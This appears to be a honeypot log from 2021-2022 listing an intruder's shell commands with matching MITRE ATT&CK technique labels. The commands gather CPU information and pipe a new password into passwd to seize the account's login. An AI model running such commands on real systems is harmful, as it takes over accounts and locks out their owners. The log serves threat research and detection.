Honeypot attack session (period 2021_2022), commands issued:
cat /proc/cpuinfo | grep name | wc -l
echo -e "fabi\nBN6f1KSph9ra\nBN6f1KSph9ra"|passwd|bash
Enter new UNIX password: 
echo "fabi\nBN6f1KSph9ra\nBN6f1KSph9ra\n"|passwd
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

MITRE ATT&CK techniques observed:
T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery